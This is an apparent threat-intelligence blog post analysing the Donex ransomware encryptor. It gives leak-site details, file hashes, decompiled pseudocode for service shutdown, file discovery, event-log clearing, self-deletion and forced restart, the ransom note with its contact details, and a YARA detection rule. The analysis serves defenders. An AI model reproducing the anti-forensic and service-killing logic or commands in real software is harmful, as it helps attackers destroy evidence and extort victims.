

# Donex a new ransomware gang — ShadowStackRE

 shadowstackre.com/analysis/donex

March 12, 2024



## Donex ransomware

Mar. 12

Written By [ShadowStackRe SSR](#)

### Threat Landscape

A new ransomware gang on the scene with a capable Windows based encryptor. Not much is known about the gang, but it has listed a number of victims on their site in the past few weeks across various business sectors. Encryptors have been showing up on Virus Total as well as Any.run in recent days.

  g3h3klsev3eiofxykmtendpi67wzmaixredk5pjuttbx7okcfkftqd.onion

### Donex ransomware leakage

[Home](#) [About](#) [Archives](#)

#### mirel

Nous sommes votre partenaire en matière de recrutement et de sélection. Nous nous déplaçons sans engagement en entreprise afin de { ... }

2024.02.27

#### CHOCOTOPIA

Chocotopia is a center of entertainment in the heart of Prague. You can visit here Museum of Chocolate and experience Chocolate { ... }

2024.02.27

#### elsapsa

Da oltre 50 anni, Elsap è un'impresa dedita alla rappresentanza e alla distribuzione di componenti elettronici ed elettromeccanici { ... }

2024.02.24

The gangs contact information is located on their main leak site under the 'About' tab, which includes both an email and a TOX ID for contact.

# Donex ransomware leakage

[Home](#) [About](#) [Archives](#)

## ABOUT

Mail: donexsupport@onionmail.org

tox id:

2793D009872AF80ED9B1A461F7B9BD6209744047DC1707A42CB622053716AD4BA624193606C9

## Key points

- Encryption of local and network files
- Utilizes common Windows service APIs and system commands
- Clears event logs

Although the encryptor is new, the gang has developed capable and stable features to rival other ransomware encryptors. These features range from cleaning up files used for the attack, restarting the machine, cleaning event logs, local and network file discovery and shutting down processes that may interfere with the encryption of high valued files. Most of these features are using common Windows API's to perform their work.

## Build information

### SHA256 Hash:

*0adde4246aaa9fb3964d1d6cf3c29b1b13074015b250eb8e5591339f92e1e3ca*

Basic properties	
MD5	8a23347b733420472a1ec0a1eeada597
SHA-1	21eae7e488b145fa3618627da99c3234696c0f15
SHA-256	0adde4246aaa9fb3964d1d6cf3c29b1b13074015b250eb8e5591339f92e1e3ca
Vhash	025056655d55556168z62h223z25z17z
Authentihash	2495c15b09cdd9956b3e12282ab3d6d5856c5a81d1e69b272eb2fad0ccf37a28
Imphash	8c15953665973cafd1715edd2e4e4284
Rich PE header hash	23590786188b9ce5b7b0854f2aad47e3
SSDEEP	3072:Fns2A9r4wpzL3syZUmMkZFfAQ2FUAEIR8MRC3KevxEwYSidVj6zxe8pxU4iR:ZSFr4EzLvC1kP4Q7XIR8MRCXYZR5c/R
TLSH	T1AD24AE21B580C831D9B30D7656FDD77ADA3DBA30172496DB53880669EE603E1B33CA1B
File type	Win32 EXE <span>executable</span> <span>windows</span> <span>win32</span> <span>pe</span> <span>peexe</span>
Magic	PE32 executable (GUI) Intel 80386, for MS Windows
TrID	Win64 Executable (generic) (32.2%)   Win32 Dynamic Link Library (generic) (20.1%)   Win16 NE executable (generic) (15.4%)   Win32 Executable (generic) (13.7%)   ...
DetectItEasy	PE32   Compiler: EP:Microsoft Visual C/C++ (2017 v.15.5-6) [EXE32]   Compiler: Microsoft Visual C/C++ (19.16.27051) [C]   Linker: Microsoft Linker (14.16.27051)   Too...
File size	224.01 KB (229391 bytes)
History	
Creation Time	2024-02-18 20:49:59 UTC
First Submission	2024-03-05 17:25:32 UTC
Last Submission	2024-03-08 19:38:52 UTC
Last Analysis	2024-03-08 20:57:44 UTC

## Program Flow

---

The 'main' function starts off by hiding the encryptors window by getting a handle to the 'ConsoleWindowClass' using the 'ShowWindow' function. Once the window is hidden, it will run through three major functions that make up the bulk of the encryptor.

```
1 int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
2 {
3     int v3; // edi
4     HWND WindowA; // eax
5     int savedregs; // [esp+4h] [ebp+0h] BYREF
6
7     WindowA = FindWindowA("ConsoleWindowClass", *argv);
8     ShowWindow(WindowA, 0); // Hide the window
9     lpFileName = *argv; // First argument to program
10    Setup(); // Initialize encryption context and clear recycle bins
11    DiscoverFilesAndEncrypt((int)&savedregs, v3, (int)argv); // Discover files and directories, network shares and encryption
12    CleanUpTraces(); // Delete itself, delete windows logs, shutdown
13 }
```

## Pre-Encryption setup

---

The setup starts by creating a mutex to ensure that one copy of the encryptor is running, this is under the mutex name 'CheckMutex'. The encryptor will then get a pointer to the 'IsWow64Process' function by using the 'GetProcAddress' function to find the function address in 'kernel32.dll'.

Once obtained, it will then call the 'IsWoW64Process' function pointer. If the return value of the call was true, the sample will then disable the WoW64 file system redirection via the 'Wow64DisableWow64FsRedirection' call. This will be used to ensure the commands executed are done so without the file system redirection indicator turned on.

The encryptor will also read the machine name and the supported languages.

Before the encryptor can manipulate files it must acquiring a cryptographic context. This is done by calling the Windows 'CryptAcquireContextA', 'CryptAcquireContextA', and 'CryptGenRandom' functions. These functions are deprecated. Most applications have moved on to the supported cryptographic next generation APIs which are supported and are tested to be secure. There is no clear reason why the malware author used older deprecated APIs.

One of the last steps in the setup process is to change the default icon. This is done by updating the registry key 'DefaultIcon'. with the value of 'C:\\ProgramData\\icon.ico'.

Before finishing the setup the encryptor will delete all files in all recycle bins across each drive without a confirmation dialog box.

## File and directory discovery

---

During the file system discovery the encryptor will create new threads using the common 'CreateThread' method and passing in a pointer to a function that will perform either the file and directory walking, service shutdown or encryption.

A signaling object is used to indicate between threads when the thread needs to perform work, such as encrypting a found file; this is done via the 'WaitForSingleObject' function call, passing a handle to a semaphore backed object. This inter thread communication mechanism is very common in malware that requires high frequency synchronization.

```

84 CreateThread(0, 0, ExecuteBatThrd, &Parameter, 0, 0);
85 if ( v10 )
86     CreateThread(0, 0, (LPTHREAD_START_ROUTINE)SvcMgrThread, v10, 0, 0);
87 v11 = Parameter;
88 dsBuffer = (__m128i *)cHeapAlloc(0x1000u);
89 hHandle = dsBuffer;
90 sub_413B10(dsBuffer, 0, 0x1000u);
91 GetLogicalDriveStringsW(0x800u, (LPWSTR)dsBuffer);
92 rootPathName = dsBuffer;
93 v14 = &dsBuffer->m128i_i8[2];
94 do
95 {
96     v15 = dsBuffer->m128i_i16[0];
97     dsBuffer = (__m128i *)((char *)dsBuffer + 2);
98 }
99 while ( v15 );
100 for ( i = ((char *)dsBuffer - v14) >> 1; i > 0; i = wcslen((const unsigned __int16 *)rootPathName) )
101 {
102     DriveTypeW = GetDriveTypeW((LPCWSTR)rootPathName);
103     sub_413A63(rootPathName, 0x5Cu->m128i_i16[0] = 0;
104     if ( DriveTypeW == 3 || DriveTypeW == 4 )
105     {
106         v17 = cHeapAllocEx((const unsigned __int16 *)rootPathName);
107         if ( *v11 )
108             *(__DWORD *) (v11[1] + 16) = v17;
109         else
110             *v11 = v17;
111         v11[1] = v17;
112     }
113     rootPathName = (__m128i *)((char *)rootPathName + 2 * i + 2);
114 }
115 if ( hHandle )
116     cHeapFree(hHandle);
117 v18 = 0;
118 for ( hHandle = CreateThread(0, 0, FileWalk, &Parameter, 0, 0); v18 < (int)nCount; ++v18 )
119 {
120     v19 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)FileWalkEx, &Parameter, 0, 0);
121     lpHandles[v18] = v19;
122     Sleep(0x12Cu);
123 }
124 for ( j = 0; j < lReleaseCount; ++j )
125 {
126     v21 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)EncryptFile, &Parameter, 0, 0);
127     v32[j] = v21;
128     Sleep(0x12Cu);
129 }
130 WaitForSingleObject(hHandle, 0xFFFFFFFF);

```

## The first thread - TaskKiller

Attempts to setup a new bat file, and execute it via the 'WinExec' function. This will invoke the 'cmd' shell to run the bat file. The command for utilizing the local ping utility with an echo request size of 2 on the local loop back address (127.0.0.1) and the taskkill command to end a process.

## The second thread - Service manager

Will attempt to get a handle to the service manager via the 'OpenSCManager' function and open the service manager database. The sample does not specify a machine name, as such it passes in a NULL parameter and obtains a handle to the local machines service manager. The sample will go on to manage a service from within its configuration block, by first calling the 'OpenService' and 'QueryServiceStatusEx' functions to check the status of the service and store that status information into a buffer. The buffer contains information such as the current state of the service. If the service is not in the 'SERVICE\_STOP' or 'SERVICE\_STOP\_PENDING' state, the encryptor continues on to stop the service via the 'ControlService' function passing in a new state of 'SERVICE\_CONTROL\_STOP'.

The encryptor will sleep the thread up until the 'dwWaitHint' value which is part of the service status and is responsible for the estimated time required for a pending start, stop, pause, or continue operation, in milliseconds. If successful the thread will close the service handle, or keep trying up until 30 seconds.

A number of processes are targeted for shutdown, such as 'SQL servers, excel, powerpoint, outlook, one note, chrome, firefox, etc.

```

36     do
37     {
38         hService = OpenServiceA(hSvcMgr, lpServiceName, 0x2Cu);
39         if ( hService )
40         {
41             if ( QueryServiceStatusEx(hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&Buffer, 0x24u, (LPDWORD)&sizeofBuff)
42                 && Buffer.dwCurrentState != 1
43                 && Buffer.dwCurrentState != 3 )
44             {
45                 if ( !EnumDependentServicesA(
46                     hService,
47                     1u,
48                     ptrServiceStatusStruct,
49                     0,
50                     (LPDWORD)&sizeofBuff,
51                     &ServicesReturned)
52                     && GetLastError() == 234 )
53                 {
54                     ptrServiceStatusStruct = (struct _ENUM_SERVICE_STATUSA *)AllocateServiceStruct((SIZE_T)sizeofBuff);
55                     v17 = ptrServiceStatusStruct;
56                     if ( ptrServiceStatusStruct )
57                     {
58                         if ( EnumDependentServicesA(
59                             hService,
60                             1u,
61                             ptrServiceStatusStruct,
62                             (DWORD)sizeofBuff,
63                             (LPDWORD)&sizeofBuff,
64                             &ServicesReturned) )
65                         {
66                             serviceStructServiceName = *((__m128i *)&ptrServiceStatusStruct->lpServiceName;
67                             v17 = ++ptrServiceStatusStruct;
68                             hSvc = OpenServiceA(hSCManager, (LPCSTR)_mm_cvtsi128_si32(serviceStructServiceName), 0x24u);
69                             if ( hSvc && ControlService(hSvc, 1u, &ServiceStatus) )
70                             {
71                                 if ( ServiceStatus.dwCurrentState != 1 )
72                                 {
73                                     ptrTickCount = TickCount;
74                                     do
75                                     {
76                                         Sleep(ServiceStatus.dwWaitHint);
77                                         while ( !QueryServiceStatusEx(
78                                             hSvc,
79                                             SC_STATUS_PROCESS_INFO,
80                                             (LPBYTE)&ServiceStatus,
81                                             0x24u,
82                                             (LPDWORD)&sizeofBuff)
83                                             || ServiceStatus.dwCurrentState != 1 && GetTickCount() - ptrTickCount <= 0x7530
84                                             && ServiceStatus.dwCurrentState != 1 ) ;
85                                         ptrServiceStatusStruct = v17;
86                                     }
87                                     CloseServiceHandle(hSvc);
88                                 }
89                                 v2 = GetTickCount();
90                             }
91                             if ( ptrServiceStatusStruct )
92                             {
93                                 cHeapFree(ptrServiceStatusStruct);
94                                 ptrServiceStatusStruct = 0;
95                                 v17 = 0;
96                             }
97                         }
98                     }
99                     if ( ControlService(hService, 1u, &Buffer) && Buffer.dwCurrentState != 1 )
100                     {
101                         v9 = TickCount;
102                         do
103                         {
104                             Sleep(Buffer.dwWaitHint);
105                             while ( QueryServiceStatusEx(
106                                 hService,
107                                 SC_STATUS_PROCESS_INFO,
108                                 (LPBYTE)&Buffer,
109                                 0x24u,
110                                 (LPDWORD)&sizeofBuff)
111                                 && Buffer.dwCurrentState != 1
112                                 && v2() - v9 <= 0x7530
113                                 && Buffer.dwCurrentState != 1 ) ;
114                             ptrServiceStatusStruct = v17;
115                         }
116                     }
117                 }
118             }
119         }
120     }
121     CloseServiceHandle(hService);

```

Once the first two threads are created the file and directory discovery thread will get a list of logical drive strings via the 'GetLogicalDriveStrings' and the 'GetDriveType' functions. This allows for the root path names which will be passed to the file walking function running in another thread.

### **The third thread - File Walker**

---

The file walking thread is relatively straight forward. The encryptor will use the 'FindFirstFile' and 'FindNextFile' function call to obtain a handle to a file and iterate from the top of the logical disk to all files. The file handle contains file data such as the 'cFileName' and 'dwFileAttributes'. These are used to check for a potential file name of '.' and if the file is a directory or a regular file. For all files found to encrypt, they are added to a list which will be handled during the encryption process.

The encryptor will further make use of the 'WNetOpenEnum' and 'WNetEnumResource' to enumerate network shares, which can be used to discover files. This is a common API that other ransomware uses.

A blacklist, whitelist of files or folders, and extensions exists in the encryptors configuration. This will most likely be extended and customized for targets when big game hunting.

### **The fourth thread - Encryption**

---

Just before encryption the Windows restart manager API is called to ensure the file to be encrypted is not locked by another process. This is done via the 'RmStartSession' and 'RmGetList' functions. Once obtained, the 'OpenProcess' and 'TerminateProcess' APIs are called. Data is encrypted with salsa20/chacha20.

### **Cleaning up**

---

Just before the encryptor shuts down, it will first clear the event logs by first getting a handle via the 'OpenEventLog' and clearing the logs via the 'ClearEventLog' functions and target the 'application', 'system' and 'security' logs. Lastly, cleaning up the local bat file 'C:\\ProgramData\\1.bat' and calling for an immediate restart of the system using the shutdown command and the '-r -f -t' switch.

```

1 void __noreturn CleanUpTraces()
2 {
3     const CHAR *v0; // ebx
4     _DWORD *v1; // eax
5     int v2; // eax
6     int v3; // esi
7     HANDLE v4; // eax
8     void *v5; // edi
9     _DWORD *v6; // eax
10    const char *v7; // esi
11    int v8; // eax
12    LPCSTR lpSourceName[3]; // [esp+Ch] [ebp-10h]
13    const CHAR *v10; // [esp+18h] [ebp-4h]
14
15    if ( lpMem )
16    {
17        cHeapFree(lpMem);
18        lpMem = 0;
19    }
20    if ( lpBuffer )
21    {
22        cHeapFree((LPVOID)lpBuffer);
23        lpBuffer = 0;
24    }
25    v0 = (const CHAR *)cHeapAlloc(0x80u);
26    v10 = v0;
27    v1 = sub_4105B0(dword_43A88C, (_DWORD *)dword_43A88C, "delete_eventlogs", 0, 0, 1);
28    v2 = strcmp((const char *)sub_401990((int)v1), "true");
29    if ( v2 )
30        v2 = v2 < 0 ? -1 : 1;
31    if ( !v2 )
32    {
33        v3 = 0;
34        lpSourceName[0] = "application";
35        lpSourceName[1] = "system";
36        lpSourceName[2] = "security";
37        do
38        {
39            v4 = OpenEventLogA(0, lpSourceName[v3]);
40            v5 = v4;
41            if ( v4 )
42            {
43                ClearEventLogA(v4, 0);
44                CloseEventLog(v5);
45            }
46            ++v3;
47        }
48        while ( v3 < 3 );
49        v0 = v10;
50    }
51    v6 = sub_4105B0(dword_43A88C, (_DWORD *)dword_43A88C, "shutdown_system", 0, 0, 1);
52    v7 = (const char *)sub_401990((int)v6);
53    WinExec("cmd /c \"taskkill /f /im cmd.exe & taskkill /f /im conhost.exe\"", 0);
54    Sleep(0x7D0u);
55    if ( !v7 )
56        goto LABEL_18;
57    v8 = strcmp(v7, "true");
58    if ( v8 )
59        v8 = v8 < 0 ? -1 : 1;
60    if ( v8 )
61 LABEL_18:
62    sub_402680((int)v0, "cmd /c \"ping 127.0.0.1 & del C:\\ProgramData\\1.bat & del %s\"", lpFileName);
63    else
64    sub_402680(
65        (int)v0,
66        "cmd /c \"ping 127.0.0.1 & del C:\\ProgramData\\1.bat & del %s & shutdown -r -f -t 0\"",
67        lpFileName);
68    WinExec(v0, 0);
69    TerminateCurrentProcess(0);
70    JUMPOUT(0x4030C6);
71 }

```

## Readme

The readme file is listed as ReadMe.<VictimID>.txt

```
Readme.f58A66B51
File Edit View

|      !!! DoNex ransomware warning !!!
>>>> Your data are stolen and encrypted

      The data will be published on TOR website if you do not pay the ransom

      Links for Tor Browser:
      http://g3h3klsev3eiofxykmtendpi67wzmaixredk5pjuttbx7okcfkftqd.onion

>>>> What guarantees that we will not deceive you?

      We are not a politically motivated group and we do not need anything other than your money.

      If you pay, we will provide you the programs for decryption and we will delete your data.

      If we do not give you decrypters, or we do not delete your data after payment, then nobody will pay us in the future.

      Therefore to us our reputation is very important. We attack the companies worldwide and there is no dissatisfied victim after payment.

>>>> You need contact us and decrypt one file for free on these TOR sites with your personal DECRYPTION ID

      Download and install TOR Browser https://www.torproject.org/
      Write to a chat and wait for the answer, we will always answer you.

      You can install qtox to contact us online https://tox.chat/download.html
      Tox ID Contact: 2793D009872AF80ED9B1A461F7B9BD6209744047DC1707A42CB622053716AD4BA624193606C9

      Mail (OnionMail) Support: donexsupport@onionmail.org

>>>> Warning! Do not DELETE or MODIFY any files, it can lead to recovery problems!

>>>> Warning! If you do not pay the ransom we will attack your company repeatedly again!
```

## YARA

```
rule DoNex_Ransomware {
  meta:
    description = "Rule to detect DoNex ransomware"
    author = "ShadowStackRe.com"
    date = "2024-03-12"
    Rule_Version = "v1"
    malware_type = "ransomware"
    malware_family = "DoNex"
    License = "MIT License, https://opensource.org/license/mit/"
    Hash = "0adde4246aaa9fb3964d1d6cf3c29b1b13074015b250eb8e5591339f92e1e3ca"
  strings:
    $strBat = "C:\\ProgramData\\1.bat"
    $strCheckMutex = "CheckMutex"
    $strEncThread = "encryption_thread"
    $strReadMe = "Readme.%ls.txt"
    $strWalkThread = "walk_thread"
    $strWhiteExt = "white_extens"
    $strWhiteFolders = "white_folders"
    $strLocalDisks = "local_disks"
    $strIcon = "C:\\ProgramData\\icon.ico"
    $strTaskKill = "cmd /c \"taskkill /f /im cmd.exe & taskkill /f /im
conhost.exe\""
  condition:
    uint16(0) == 0x5A4D and
    all of them
}
```



donextransomware



ShadowStackRe SSR